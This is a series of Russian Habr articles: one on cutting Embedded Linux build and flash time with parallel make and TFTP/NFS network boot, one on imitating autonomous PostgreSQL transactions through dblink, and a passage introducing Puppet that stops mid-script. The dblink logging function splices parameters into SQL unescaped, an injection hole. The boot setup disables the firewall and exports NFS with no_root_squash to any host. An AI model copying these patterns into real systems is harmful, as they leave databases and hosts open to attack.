Любой программист, решивший заняться разработкой под Embedded Linux, придя будь то из высокоуровневых языков программирования, либо из программирования микроконтроллеров на С/С++, неизбежно оказывается удивлен крайней недружелюбностью embedded linux. Текстовый блокнот и консольные утилиты вместо столь привычных IDE, и отладка по логам вместо отладки программатором сильно замедляют процесс разработки. В статье описывается, как мне удалось снизить время доставки изменений до целевого железа при кросс-компиляции в 10 раз.
Кросс-компиляция
----------------
Под кросс-компиляцией подразумевается процесс, когда сборка прошивки целевой железки (target device) под управлением Embedded Linux производится на удаленной машине (host machine), которой, как правило, является обычный ПК. С этим приходится сталкиваться при разработке кода под относительно слабые микропроцессоры с ограниченными объемами доступной оперативной и постоянной памяти (128 Мб и 32 Мб соответственно в нашем случае).
В этом случае, типовой процесс обновления программного кода на целевой платформе состоит из трех этапов:
1. Доставка исходников программного кода до хоста (проводится лишь один раз при первой сборке прошивки). git clone в нашем случае.
2. Сборка всей прошивки целевой железки либо отдельного исполняемого файла на хосте. Утилитой make в нашем случае.
3. Доставка свеже-собранной прошивки/исполняемого файла до целевой платформы. Утилиты scp и sysupgrade в нашем случае.
Больше всего времени, естественно, уходит на второй этап. Особенно сильно он замедляется в случае работы с тяжеловесными библиотеками, тянущими за собой кучу зависимостей. В нашем случае это библиотеки [tensorflow-lite (для нейронок)](https://github.com/tensorflow/tensorflow/tree/master/tensorflow/lite) и [alexa voice sdk (голосовой ассистент)](https://github.com/alexa/avs-device-sdk).
На все три этапа (полная пересборка прошивки и перепрошивка железки) у нас уходило **150 минут**. Наиболее редко применяемый сценарий.
Второй этап в случае повторной пересборки прошивки занимал **30 минут**. В случае пересборки тяжеловесного приложения, применящего нейронки, - **13 минут**.
Третий этап сам по себе (при обновлении прошивки) занимал **минут 5**: вначале прошивка копировалась с хоста на целевое железо утилитой scp. После чего производилось обновление прошивки утилитой sysupgrade.
В какой-то момент времени такое положение дел стало вымораживать, поскольку разработка выливалась в многочасовые потери времени на компиляцию. В итоге, нам удалось получить:
* **16 минут** вместо **150 минут** для всех трех этапов вместе при первой сборке прошивки;
* **3 минуты** вместо **30 минут** для второго этапа в случае пересборки всей прошивки и **1,5 минуты** вместо **13 минут** при перекомпиляции отдельного приложения.
* **10 секунд** вместо **5 минут** для третьего этапа самого по себе.
Наиболее просто удалось максимально ускорить, естественно, первый этап. Для этого оказалось достаточно доплатить пару сотен рублей, чтобы переключиться на самый быстрый интернет тариф нашего провайдера.
Ускоряем процесс кросс-компиляции
---------------------------------
Долго сомневались, будет ли смысл, но все же пошли ва-банк, начитавшись статей о [вдохновляющих бенчмарках](https://www.servethehome.com/amd-ryzen-threadripper-3970x-review-32-cores-of-madness/amd-threadripper-3970x-linux-kernel-compile-benchmark/), и раскошелились на рабочую станцию на базе процессора AMD Threadripper 3970X (64 ядра):
попутно приобретя видео-карту NVIDIA GeForce 3080TI для работы с нейронками, 128 Гб оперативной памяти и 1 Тб ssd диск. Закончил сборку системника уже глубокой ночи, установил Ubuntu и запустил сборку прошивки, естественно, не забыв про make -j64... Разочарованию не было предела, когда получил 30 минут, вместо обещанных бенчмарками 2 минут. Плюнул на все и лег спать.
С утра принялся выжимать все соки из дорогостоящей покупки. Первым делом запустил htop параллельно с процессом компиляции. Лишь изредка наблюдал подобную картину:
иногда такую:
но, чаще всего, такую:
Это говорило о том, что задействуются не все ядра. Ответ в интернете нашел быстро: [Enable parallel builds by default?](https://github.com/openwrt/packages/issues/6841). Недолго думая закоммитил [соответствующие изменения](https://github.com/wireless-road/imx6ull-openwrt/commit/f783e31644486ed368c9f076e8554a36853bd7a1) к себе в репу и получил заветные 3 минуты на пересборку прошивки и 1,5 минуты на пересборку приложения. htop показывал полную загрузку. Радости не было предела! Деньги не ушли на ветер!
Вдобавок к этому попробовал поиграться работой из RAMDISK:
```
$ sudo mkdir /mnt/ramdisk
$ sudo mount -t tmpfs -o rw,size=2G tmpfs /mnt/ramdisk
$ df -h
$ cd /mnt/ramdisk
$ git clone ...
```
но особого ускорения не заметил.
Единственный омрачавший радость нюанс, - сборка иногда, непредсказуемым образом падала на самым разных пакетах. Погуглив, выяснилось, что такое случается, - нестабильность при многоядерной работе.
Но этот кейс довольно легко закрыл [костылем](https://github.com/wireless-road/imx6ull-openwrt/commit/3e555184ba1bf06edaffc56f153381e83f9bba24). В сборочном скрипте заменил:
```
make -j $(nproc);
```
на:
```
compiled_successful_flag=0;
compile() {
compiled_successful_flag=0;
if make -j $(nproc); then
compiled_successful_flag=1;
return
else
return
fi
}
...
while [ $compiled_successful_flag -eq 0 ];
do
compile;
sleep 1;
done
```
т.е., повторный запуск сборки при падении. Замедление в таких случаях было незначительным и даже при падениях удавалось собрать образ за 3-4 минуты.
Ускоряем процесс обновления прошивки целевой железки
----------------------------------------------------
Погуляв на просторах интернета, узнал, что вместо копирования прошивки утилитой scp и ее обновления утилитой sysupgrade можно грузить и ядро, и файловую систему по сети, с помощью [tftp](https://openwrt.org/docs/guide-user/installation/generic.flashing.tftp) и [nfs](https://gitlab.ggdns.de/rizzle/scripts/-/wikis/tutorials/openwrt-on-nfs-root).
Сразу же возникло желание включить и tftp-сервер и nfs-сервер в состав репозитория, чтобы отладив все один раз в будущем не тратить на это время при переезде на другой хост. И в этом помогли великие и могучие [docker](https://www.docker.com/) и [docker-compose](https://docs.docker.com/compose/). Если вкратце, - то это волшебная пилюля, которая позволяет разработчику запускать свой софт на любой другой машине одним нажатием кнопки (`$ docker-compose up -d`) не тратя время на бесконечные ошибки, неизбежно возникающие при установке и запуске каких-либо программ в первый раз или на другом ПК.
Итак,
Запуск TFTP сервера для загрузки ядра
-------------------------------------
Его `Dockerfile`:
```
FROM debian:stretch-slim
MAINTAINER danrue drue@therub.org
# https://github.com/danrue/docker-tftpd-hpa
RUN apt-get update && \
apt-get install -y --no-install-recommends \
tftpd-hpa && \
rm -rf /var/lib/apt/lists/*
CMD echo -n "Starting " && in.tftpd --version && in.tftpd -L --user tftp -a 0.0.0.0:69 -s -B1468 -v /srv/tftp
```
`docker-compose.yml` файл:
```
version: '3.4'
services:
tftpd-hpa:
container_name: tftp
build: .
volumes:
- ./volume:/srv/tftp
ports:
- 69:69/udp
restart: always
```
Запуск на хосте командой:
```
$ docker-compose up -d
```
После этого остается положить в каталог *volume* образ ядра (*uImage*). В моем случае это делается командой:
```
$ cp bin/targets/imx6ull/cortexa7/openwrt-imx6ull-cortexa7-tensorflow_wifi_dev-uImage _utilities/tftpd-hpa/volume/
```
Исходники можно найти [тут](https://github.com/wireless-road/imx6ull-openwrt/tree/tensorflow_lite/_utilities/tftpd-hpa).
Все готово для загрузки ядра загрузчиком (u-boot, в нашем случае). Но перед тем как переключиться в консоль целевой железки проверьте состояние фаерволла:
```
$ sudo ufw status
```
и если он включен, то временно отключите его:
```
$ sudo ufw disable
```
Загрузка ядра с tftp-сервера
----------------------------
Ядро грузит загрузчик. В случае, если у вас это u-boot, то он, скорее всего умеет это делать из коробки. Для этого, в консоли вашей целевой железки введите `reboot`. Дождитесь перезагрузки и, увидев обратный отсчет таймера, нажмите *Enter*. Если увидите значок стрелочки: `=>`, то вы в консоли U-boot.
Итак, первым делом сохраняем текущие настройки загрузки:
```
=> setenv defbootcmd "$bootcmd"
=> saveenv
Saving Environment to SPI Flash...
board_spi_cs_gpio bus 2 cs 0
SF: Detected w25q256 with page size 256 Bytes, erase size 4 KiB, total 32 MiB
Erasing SPI flash...Writing to SPI flash...done
```
к которым вы в дальнейшем сможете вернуться в любой момент:
```
=> setenv bootcmd "$defbootcmd"
=> saveenv
```
Теперь задаем сетевые настройки, чтобы u-boot знал, куда стучаться за образом ядра:
```
=> setenv ipaddr 192.168.31.99
=> setenv ethaddr 86:72:04:c5:7e:83
=> setenv serverip 192.168.31.37
=> setenv uimage openwrt-imx6ull-cortexa7-tensorflow_wifi_dev-uImage
=> printenv loaddadr
```
где *192.168.31.99* - это IP-адрес, присваиваемый железке, а *192.168.31.37* - это IP-адрес хоста, на котором вы ранее запустили tftp-сервер. *openwrt-imx6ull-cortexa7-tensorflow\_wifi\_dev-uImage* - название файла (образ ядра, который вы ранее положили в каталог volume на хосте), который нужно скачать с tftp-сервера. `loadaddr` - адрес, по которому нужно его расположить для дальнейшей загрузки (у вас он, скорее всего уже задан).
Попробуйте пингануть сервер:
```
=> ping ${serverip}
Using FEC device
host 192.168.31.37 is alive
```
Теперь попробуйте скачать образ с сервера:
```
=> tftp ${loadaddr} ${serverip}:${uimage}
Using FEC device
TFTP from server 192.168.31.37; our IP address is 192.168.31.99
Filename 'openwrt-imx6ull-cortexa7-tensorflow_wifi_dev-uImage'.
Load address: 0x82000000
Loading: #################################################################
#################################################################
#########################################################
345.7 KiB/s
done
Bytes transferred = 2742194 (29d7b2 hex)
```
Отлично. Значит пока нигде не напортачили и можно сохранять настройки и запускать ядро:
```
=> saveenv
=> bootm ${loadaddr}
## Booting kernel from Legacy Image at 82000000 ...
Image Name: ARM OpenWrt Linux-4.14.199
Image Type: ARM Linux Kernel Image (uncompressed)
Data Size: 2742130 Bytes = 2.6 MiB
Load Address: 80008000
Entry Point: 80008000
Verifying Checksum ... OK
Loading Kernel Image ... OKStarting kernel ...[ 0.004494] /cpus/cpu@0 missing clock-frequency property
[ 0.128440] imx6ul-pinctrl 2290000.iomuxc-snvs: no groups defined in /soc/aips-bus@02200000/iomuxc-snvs@02290000
[ 0.917942] fec 20b4000.ethernet: Invalid MAC address: 00:00:00:00:00:00
[ 1.800403] mxs-dcp 2280000.dcp: Failed to register sha1 hash!
[ 7.239994] DHCP/BOOTP: Reply not for us on eth1, op[2] xid[e2dbd4aa]
Press the [f] key and hit [enter] to enter failsafe mode
Press the [1], [2], [3] or [4] key and hit [enter] to select the debug level
Please press Enter to activate this console.
```
Теперь снова возвращайтесь в консоль U-boot и настройте автоматическую загрузку ядра с TFTP-сервера с последующей загрузкой:
```
=> setenv devbootcmd "tftp ${loadaddr} ${serverip}:${uimage}; bootm ${loadaddr}"
=> setenv bootcmd "$defbootcmd"
=> saveenv
```
Теперь u-boot должен будет автоматически грузить образ с сервера и стартовать с него. Файловая система, при этом, пока еще, будет использоваться дефолтная. Та, что у вашей железки во флеш-памяти/microSD-карте.
Запуск NFS-сервера для загрузки файловой системы
------------------------------------------------
Следующий шаг - научиться монтировать сетевую файловую систему.
Для начала, аналогично tftp-серверу соберем и запустим в контейнере NFS-сервер.
`Dockerfile` NFS-сервера:
```
FROM alpine:3.6
MAINTAINER Tang Jiujun
# https://github.com/tangjiujun/docker-nfs-server
RUN set -ex && { \
echo 'http://mirrors.aliyun.com/alpine/v3.6/main'; \
echo 'http://mirrors.aliyun.com/alpine/v3.6/community'; \
} > /etc/apk/repositories \
&& apk update && apk add bash nfs-utils && rm -rf /var/cache/apk/\*
EXPOSE 111 111/udp 2049 2049/udp \
32765 32765/udp 32766 32766/udp 32767 32767/udp 32768 32768/udp
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
```
`entrypoint.sh`, используемые в Dockerfile:
```
#!/bin/bash
set -ex
: ${EXPORT_DIR:="/nfsshare"}
: ${EXPORT_OPTS:="*(rw,fsid=0,insecure,no_root_squash,no_subtree_check,sync)"}
mkdir -p $EXPORT_DIR
echo "$EXPORT_DIR $EXPORT_OPTS" > /etc/exports
mount -t nfsd nfsd /proc/fs/nfsd
# Fixed nlockmgr port
echo 'fs.nfs.nlm_tcpport=32768' >> /etc/sysctl.conf
echo 'fs.nfs.nlm_udpport=32768' >> /etc/sysctl.conf
sysctl -p > /dev/null
rpcbind -w
rpc.nfsd -N 2 -V 3 -N 4 -N 4.1 8
exportfs -arfv
rpc.statd -p 32765 -o 32766
rpc.mountd -N 2 -V 3 -N 4 -N 4.1 -p 32767 -F
```
и `docker-compose.yml`:
```
version: '3.4'
services:
nfs:
build: .
container_name: nfs
volumes:
- ./volume:/nfsshare
ports:
- 111:111
- 111:111/udp
- 2049:2049
- 2049:2049/udp
- 32765-32768:32765-32768
- 32765-32768:32765-32768/udp
privileged: true
restart: always
```
запускаем точно также как и TFTP-сервер:
```
$ docker-compose up -d
```
Программы разные (`tftp-hpa` и `nfs-kernel-server`), а запускаются одной и той же командой).
Осталось распаковать в каталог `volume` архив с файловой системой, который у вас должен был быть скомпилировать вместе с образом ядра. В моем случае:
```
$ tar -xzvf bin/targets/imx6ull/cortexa7/openwrt-imx6ull-cortexa7-device-tensorflow-wifi-dev-rootfs.tar.gz –directory _utilities/nfs/volume/
```
Протестировать сервер можно с другой машины в той же сети командой:
```
$ sudo mount -v -o vers=3 192.168.31.37:/nfsshare /home/al/mnt
mount.nfs: timeout set for Fri Aug 20 23:28:36 2021
mount.nfs: trying text-based options 'vers=3,addr=192.168.31.37'
mount.nfs: prog 100003, trying vers=3, prot=6
mount.nfs: trying 192.168.31.37 prog 100003 vers 3 prot TCP port 2049
mount.nfs: prog 100005, trying vers=3, prot=17
mount.nfs: trying 192.168.31.37 prog 100005 vers 3 prot UDP port 32767
$ ls mnt/
bin etc mnt overlay rom sbin tmp var
dev lib mobilenet_v1_0.25_128_quant.tflite proc root sys usr www
```
где *192.168.31.37* - IP-адрес машины, на которой вы запустили сервер, а */home/al/nfs* - каталог, к которому вы примонтируете удаленную файловую систему.
Загрузка с NFS-сервера
----------------------
Теперь пришло время загрузиться с NFS-сервера. Первым делом необходимо выяснить, включена ли в вашем дистрибутиве поддержка NFS. Для этого, на хосте, в корне репозитория с вашими исходниками Linux нужно ввести:
```
make menuconfig
```
В открывшемся окне нужно найти опцию Compile the kernel with rootfs on NFS. В моем случае она расположена по пути: `Global build settings-->Kernel build options-->Compile the kernel with rootfs on NFS`:
Если видите значок `*`, значит вы можете загрузиться с NFS задав лишь дополнительные настройки в u-boot. Если нет (как было в моем случае), то вам потребуется:
* включить данную опцию, нажав кнопку `Y`
* выйдите из конфигуратора, сохранив изменения.
* пересоберите образ ядра по новой и сохраните результирующий uImage файл в каталоге volume вашего TFTP-сервера.
* перезагрузите u-boot на всякий случай, если вдруг вы уже успели загрузить образ ядра командой `tftp`
Итак, единственная настройка в u-boot, необходима для того, чтобы примонтировать сетевую файловую систему вместо файловой системы, расположенной на флеш-накопителе:
```
=> printenv bootargs
=> setenv defbootargs "${bootargs}"
=> setenv devbootargs "ip=dhcp console=ttymxc1 rootwait rw root=/dev/nfs nfsroot=${serverip}:/nfsshare,nolock,v3,intr,hard,noacl"
=> setenv bootargs "${devbootargs}"
=> saveenv
```
Обратите внимание на вывод первой команды и запомните его.
После этого введите:
```
=> reset
```
U-boot перезагрузится, передаст управление ядру. После этого введите:
```
# dmesg | grep nfs
[ 0.000000] Kernel command line: console=ttymxc0,115200 rootwait fixrtc quiet ip=dhcp console=ttymxc1 rootwait rw root=/dev/nfs nfsroot=192.168.31.37:/nfsshare,nolock,v3,intr,hard,noacl
[ 4.175865] VFS: Mounted root (nfs filesystem) on device 0:10
```
Отлично! Сетевая файловая система примонтирована. Теперь любое изменение на хосте в каталоге volume TFTP-сервера будет моментально отображаться в файловой системе целевой железки. Для проверки можете в каталоге *volume* NFS-сервера (на хосте) создать какой-нибудь файл:
```
$ touch nfs/volume/hello
```
Он должен сразу же отобразиться в файловой системе железки:
```
# ls /
```
Development и production режимы загрузки
----------------------------------------
В U-boot вы теперь можете любой момент включать отладочный (сетевой) режим загрузки:
```
=> setenv bootcmd "${devbootcmd}"
=> setenv bootargs "${devbootargs}"
=> saveenv
```
таки и "продакшн" режим загрузки:
```
=> setenv bootcmd "${defbootcmd}"
=> setenv bootargs "${defbootargs}"
=> saveenv
```
или:
```
=> setenv bootcmd "${defbootcmd}"
=> setenv bootargs
=> saveenv
```
если ранее `=> printenv bootargs` вам ничего не выдало.
Даже прошив флешку утилитой sysupgrade, но с флагом -c вы сохраните переменные загрузчика U-boot и сохраните возможность в любой момент переключиться в отладочных режим. Можно пойти еще дальше и разработать отладочную и продуктовую конфигурации прошивки. Коммиты, реализующие [данный](https://github.com/wireless-road/imx6ull-openwrt/commit/0316343f923f943a6314ae10164378303e1d7b20) [функционал](https://github.com/wireless-road/imx6ull-openwrt/commit/f5837de86085d0e8c749de6ca53fb8bb19627f3c).
В чем же его преимущества? В том, что любое изменение на хосте в каталоге *volume* TFTP-сервера будет моментально отображаться в файловой системе целевой железки. Дело осталось за малым написать скрипт, который будет копировать свеже-собранный образ ядра и распаковывать свеже-собранный архив файловой системы в соответствующие каталоги volume TFTP- и NFS-серверов. Таким образом, длительность третьего этапа (доставки изменений в коде) до целевой железки сокращается до 10 секунд в худшем случае (время перезагрузки ядра) при внесении изменений в ядро Линукс и до 0 секунд при внесении изменений в приложения пользовательского пространства!
Итоги
-----
В общем, длительность наиболее типового сценария разработки кода (второй + третий этап): пересборки ядра либо пользовательского приложения с последующей доставкой на целевое железо удалось сократить с **30+ минут** до **2-3 минут**! Это дало возможность тестировать порядка 20 изменений в коде на целевой платформе, вместо 1-2 изменений ранее. Скорость разработки возросла на порядок! Даже не верится, что раньше я мирился с такими потерями времени!
**P.s.** Фото видео с полей разработки embedded linux - в телеграм-канале. | https://habr.com/ru/post/574118/ | null | ru | null |
# Автономные транзакции в PostgreSQL
Начнем с определения того, что такое автономные транзакции в принципе:
*Автономные транзакции позволяют создавать новые подтранзакции (subtransaction), которые могут сохранять или отменять изменения вне зависимости от родительской транзакции.* [Подробнее тут](http://ru.wikipedia.org/wiki/%D0%90%D0%B2%D1%82%D0%BE%D0%BD%D0%BE%D0%BC%D0%BD%D1%8B%D0%B5_%D1%82%D1%80%D0%B0%D0%BD%D0%B7%D0%B0%D0%BA%D1%86%D0%B8%D0%B8).
Реализованы они в СУБД Oracle, и являются очень гибким и удобным средством. Самым популярным (но далеко не единственным) использованием автономных транзакций является логирование. Рассмотрим несложный пример. Представьте себе следующую ситуацию — в вашей БД реализована длинная и сложная хранимая процедура, например ежемесячный биллинг. Важные события вы наверняка хотели бы видеть в таблице логов. Вы, конечно, можете просто писать в нее безо всяких ухищрений. Но есть один серьезный недостаток — если в процедуре происходит необработанная ошибка — транзакция откатывается вместе со всеми записями в таблицу логов. Тут на помощь и приходят автономные транзакции. Они выполняются независимо от родительской транзакции, и вы можете увидеть записи в таблице логов еще до того, как закончилось выполнение логгируемой процедуры биллинга.
Перейдем же к теме топика. Несмотря на претенциозный заголовок, в PostgreSQL автономных транзакций не существует. Но есть способ, с помощью которого мы можем получить схожий результат.
dblink
------
Во-первых, нам понадобится contrib-модуль [dblink](http://www.postgresql.org/docs/current/static/dblink.html). Этот модуль позволяет с помощью своих функций обращаться к другому экземпляру PostgreSQL. Подробное описание выходит за рамки топика. От себя скажу, что dblink — один из нескольких полезнейших contrib-модулей, которые я всегда устанавливаю независимо от задач, решаемых БД.
Пример
------
Покажу описываемый прием на примере из начала топика. Реализуем логирование на «автономных» транзакциях.
Создаем таблицу логов:
> `CREATE TABLE "public"."logs" (
>
> "log\_id" BIGSERIAL,
>
> "source" TEXT NOT NULL,
>
> "level" TEXT NOT NULL,
>
> "message" TEXT NOT NULL,
>
> "time\_added" TIMESTAMP WITHOUT TIME ZONE DEFAULT now() NOT NULL,
>
> CONSTRAINT "logs\_pkey" PRIMARY KEY("log\_id")
>
> ) WITH OIDS;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Создадим функцию для логгирования:
> `CREATE OR REPLACE FUNCTION "public"."log"(IN p\_source text, IN p\_level text, IN p\_message text)
>
> RETURNS void AS
>
> $$
>
> DECLARE
>
> INSERT\_SQL text := 'INSERT INTO public.logs (source, level, message) VALUES (''[SOURCE]'',''[LEVEL]'',''[MESSAGE]'')';
>
> BEGIN
>
>
>
> IF p\_level != 'ERROR' AND p\_level != 'WARNING'
>
> AND p\_level != 'INFO' AND p\_level != 'DEBUG' THEN
>
> RAISE EXCEPTION 'Log level should be one of the following types: ERROR, WARNING, INFO, DEBUG';
>
> END IF;
>
>
>
> INSERT\_SQL := replace(INSERT\_SQL, '[SOURCE]', p\_source);
>
> INSERT\_SQL := replace(INSERT\_SQL, '[LEVEL]', p\_level);
>
> INSERT\_SQL := replace(INSERT\_SQL, '[MESSAGE]', p\_message);
>
>
>
> PERFORM dblink\_exec('dbname=' || current\_database(), INSERT\_SQL);
>
> END;
>
> $$ LANGUAGE 'plpgsql';
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь в любой момент мы можем вызвать функцию «log» и запись тут же появится в таблице логов независимо от статуса транзакции, в во время которой мы ее вызвали.
> `PERFORM "public"."log"('monthly billing', 'INFO', 'Starting monthly billing');
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Как видите, весь прием состоит в том, что мы записываем в таблицу логов с помощью функции «dblink\_exec». Это означает, что создается новые соединение, сессия и транзакция, в контексте которых и происходит запись.
Замечания
---------
1. К сожалению, этот финт не может полностью заменить автономных транзакций Oracle. Проблемой является производительность — я бы не советовал использовать этот прием налево и направо, подумайте — где это действительно нужно.
2. Подобный метод применим не только к PostgreSQL. Каждая известная мне СУБД располагает функциями, подобными «dblink\_exec»
3. Как грамотно заметили в комментариях — использование [dblink\_connect](http://www.postgresql.org/docs/current/static/contrib-dblink-connect.html) для создания persistent соединения, и использование этого соединения в дальнейшем, ощутимо ускорит работу. | https://habr.com/ru/post/99645/ | null | ru | null |
# В разрезе: новостной агрегатор на Android с бэкендом. Система контроля конфигураций (Puppet)
[Вводная часть (со ссылками на все статьи)](https://habrahabr.ru/post/334510/)
В ITIL (v3) среди описанных процессов есть 2 особенно интересных: «Процесс управления конфигурациями» и «Процесс управления изменениями», предназначенных для анализа и управления изменениями конфигураций систем. Для продолжения повествования нужно определиться, что такое «система». В это понятие входит огромное количество составляющих, влияющих (прямо или косвенно) на предоставление услуги:
* серверы
+ настройки безопасности (пользователи, группы, права, межсетевые экраны);
+ установленные приложения и библиотеки;
+ настройки работы приложений (лимиты по дискрипторам, памяти, времени CPU и т.д.);
+ резервное копирование;
* системы мониторинга за работой прикладного и системного ПО;
* конфигурационные файлы самого продукта, его компонентов, вспомогательных системных и прикладных приложений
* ...
Пытаться минимизировать контур системы вашего проекта (тип, резервное копирование не относится к функционированию системы) – значит рыть себе яму, в которую рано или поздно вы провалитесь.
Этот перечень компонентов системы — минимум для большинства проектов, развёрнутых более чем на одном сервере (да даже и на одном). При этом их количество по мере развития проекта меняется и растёт. При отсутствии какого-либо процесса их учёта становится очевидно к чему это приводит: вы имеете тестовый стенд (или стэнд разработки) на котором всё работает идеально, но попытка продублировать его на продуктиве или создать новый стенд приводит к:
* очень длительному процессу развёртывания/дублирования (все вспоминают, что и как настроено по мере возникновения сбоев и часто сверяют настройки с имеющимся стендом);
* неожиданно возникают проблемы при эксплуатации развёрнутого продукта (забывают выполнить какие-то настройки, которые на тестовом стенде внесли в последний момент, а на продуктив не перенесли);
* замедляется процесса тестирования (каждая публикация новой сборки, даже для внутренних тестировщиков, — подвиг как по времени, так и по сложности);
* и наконец – появляется страх у разработчиков перед выпуском новой версии и как результат – оттягивание выкладки нового релиза (реально серьёзная проблема о которой открыто никто не скажет, но её эффект будет чувствоваться постоянно).
В итоге — среда для корректной работы вашего продукта выход из-под вашего контроля и имеющихся средств автоматизации и версионности.
### Мотивация
Вещи вроде очевидные, но в большинстве групп по разработке на них закрываются глаза – многие аргументируют это тем, что сервер у них один, настроек мало, компетентностью работников (аргумент «у нас работают профессионалы и никуда уходить не собираются» меня просто свалил), малыми рисками и т.д. и т.п.
Несмотря на кажущуюся сложность и избыточность того, что описано в ITIL (там реально много всего написано) в первую очередь из него брать надо брать требования по автоматизации указанных процессов. Автоматизация сборки, автоматизация тестирования, автоматизация поиска уязвимости – всё это внедрено и рассматривается всеми как необходимый минимум при разработке. Автоматизация ускоряет процесс, вселяет уверенность, обеспечивает прозрачность и гарантированный результат, а так же снимает страх у исполнителей за сроки и результат.
### Мотивация для разработчика-одиночки
С учётом мощной вводной части в предыдущем абзаце преимущества для разработчика-одиночки опишу доступнее и более кратко:
* т.к. разработка осуществляется не ежедневно, как результат некоторые особенности развёртывания плавно улетучиваются по прошествии пары дней;
* автоматизация для одиночки – самый надёжный напарник;
* скорость выполнения работ, обеспечиваемая автоматизацией, позволяет не потерять «запал» и желание развивать проект (это очень важный специфичный момент).
### Важная оговорка про ITIL
Не старайтесь брать, из описанных в ITIL процессов, все шаги которые там описаны, — ситуация будет хуже, чем до этого! Я знаю, как подобные шаги внедряются в некоторыъ банковских системах и к чему это приводит (особенно без автоматизации) – бюрократическая машина удушит любой динамично развивающийся проект/систему.
### Puppet
В моём случае был выбран [Puppet](https://puppet.com/). При выборе между [Chef](https://www.chef.io/chef/) и [Ansible](https://www.ansible.com/), выбор в пользу него был сделан с учётом [хорошей документационной базы](https://docs.puppet.com/), хорошей поддержки, достаточно [большого количества модулей (от разработчиков и сообщества)](https://forge.puppet.com/), активного развития проекта и реализацией на Ruby (который более-менее мне знаком).
Откровенно говоря, кривая изучения для Puppet была вовсе не пологой. В связи с тем, что в разрабатываемой системе используется большое количество всяких элементов, каждый из них может быть настроен по-разному и всё это может быть развёрнуто на разных стендах – изучение инструмента потребовалось полное и тщательное. По мере изучения инструмента стали очевидны и некоторые его минусы (в большинстве случаев «by-design») и ограничения ([хорошая статья о философии Puppet, поясняющая некоторые архитектурные решения](http://radar.oreilly.com/2015/04/the-puppet-design-philosophy.html)). Так же по мере изучения и уже частичной реализации необходимых скриптов чуть больше узнал про Ansible в котором решены некоторые проблемы, имеющиеся в Puppet (что не отменят возможности наличия своих проблем, отсутствующих в Puppet). Так, что последующее повествование это не реклама Puppet, а описание возможностей и опыта использования.
### Немного о Puppet
Puppet использует свой собственный конфигурационный язык (DSL), который был разработан что бы быть доступным для системных администраторов. Язык Puppet позиционируется как не требующий формального знания программирования и его синтаксис был сформирован под влияние формата конфигурационных файлов Nagios.
Основная цель языка Puppet – определение ресурсов (ресурсы в Puppet – файлы, каталоги, службы, лимиты, брандмауэры, пользователи и т.д.). Все другие части языка существуют лишь для добавления гибкости и удобства в том, как определяются ресурсы.
Группы ресурсов могут быть организованы в классы, которые являются более крупными единицами конфигурации. В то время как ресурс может описывать единственный файл/каталог или пакет, класс может описывать всё, что нужно для конфигурирования службы или приложения (включая необходимое количество пакетов, конфигурационных файлов, демонов/служб и задач обслуживания). Более маленькие классы могут объединяться в крупные, которые описывают целую системную роль – «сервер базы данных» или «рабочий узел кластера».
Пример класса с ресурсами внутри:
```
class apache (String $version = 'latest') {
package {'httpd':
ensure => $version, # Using the class parameter from above
before => File['/etc/httpd.conf'],
}
file {'/etc/httpd.conf':
ensure => file,
owner => 'httpd',
content => template('apache/httpd.conf.erb'), # Template from a module
}
service {'httpd':
ensure => running,
enable => true,
subscribe => File['/etc/httpd.conf'],
}
}
```
Машины, которые выполняют разные роли должны, в общем случае, получить разный набор классов. Задача конфигурирования того, какие классы будут применены на какие машины – задача узлов Puppet.
Примеры определения узлов Puppet:
```
node 'www1.example.com', 'www2.example.com', 'www3.example.com' {
include common
include apache, squid
}
node /^(foo|bar)\.example\.com$/ {
include common
}
```
Факты и база данных Hiera. Перед тем как выполнить код Puppet выполняется сборка информации об узле, собранная информация оформляется в виде предопределённых фактов – переменных, которые можно использовать где угодно в коде. Hiera это встроенная «key-value» база данных. По-умолчанию в качестве источника данных используются файлы формата YAML или JSON, хотя возможно расширение для использования любого источника данных. В связи с её иерархичностью и возможностью изменения данных в зависимости от узла – её использование является неотъемлемой частью работы большинства модулей/классов.
Модули – самодостаточные блоки кода и данных (классы, шаблоны, файлы, и т.д.). Эти повторно используемые, доступные для общего пользования элементы являются основными строительными блоками Puppet.
Тем, кто планирует использовать Puppet в основном придётся заниматься созданием классов и иногда — модулей.
### Варианты развёртывания
При внедрении Puppet возможны 2 варианта с централизованным хранением конфигурации и без него:
* Централизованное хранение конфигурации: преимущества явно прослеживаются при наличии БОЛЬШОГО количества серверов. В этом случае на клиентские машины передаётся информация, касающиеся только самой машины, что так же обеспечивает некоторый уровень безопасности и минимизирует траффик.
* Децентрализованное хранение конфигурации: обосновано при небольшом количестве серверов, при этом на машин должен быть полный комплект конфигурационных скриптов и файлов и при запуске агентов будет выполнена их компиляция и выполнения части касающейся данной машины. Реализуется обычной cron-задачей, запускаемой каждые 15 минут.
Мой скрипт выглядит примерно так:
```
#!/bin/sh
PUPPET_BIN='/opt/puppetlabs/bin/puppet'
# Ставим необходимые пакеты для старта
apt-get update && apt-get -y install git mc htop apt-transport-https nano wget lsb-release apt-utils curl python
# Первоначально осуществляем установку `puppet-agent`
if [ ! -d /etc/puppetlabs ]; then
rm *.deb.* *.deb # possible trash
wget https://apt.puppetlabs.com/puppetlabs-release-pc1-xenial.deb && dpkg -i puppetlabs-release-pc1-xenial.deb
apt-get update && apt-get -y install puppet-agent
fi
# Определяем тип `environment`
/opt/puppetlabs/bin/puppet config set environment $PUPPET_ENV
if [ ! -d /etc/puppetlabs/code/environments/$PUPPET_ENV ]; then
cp -r /etc/puppetlabs/code/environments/production /etc/puppetlabs/code/environments/$PUPPET_ENV
fi
# Install puppet modules
$PUPPET_BIN module install puppetlabs-ntp
$PUPPET_BIN module install aco-oracle_java
$PUPPET_BIN module install puppetlabs-firewall
$PUPPET_BIN module install saz-ssh
$PUPPET_BIN module install saz-sudo
$PUPPET_BIN module install saz-limits
$PUPPET_BIN module install thias-sysctl
$PUPPET_BIN module install yo61-logrotate
$PUPPET_BIN module install puppetlabs-apt
$PUPPET_BIN module install puppet-archive
# git pull "deployment" project and go in it only if POVISION_NO_GIT_CLONE set to "true"
if [ ${POVISION_NO_GIT_CLONE:-"false"} = "true" ];
then
echo "do nothing"
else
LOCAL_REV=""
if [ -f local_latest.sha1 ]; then
LOCAL_REV=`cat local_latest.sha1`
fi
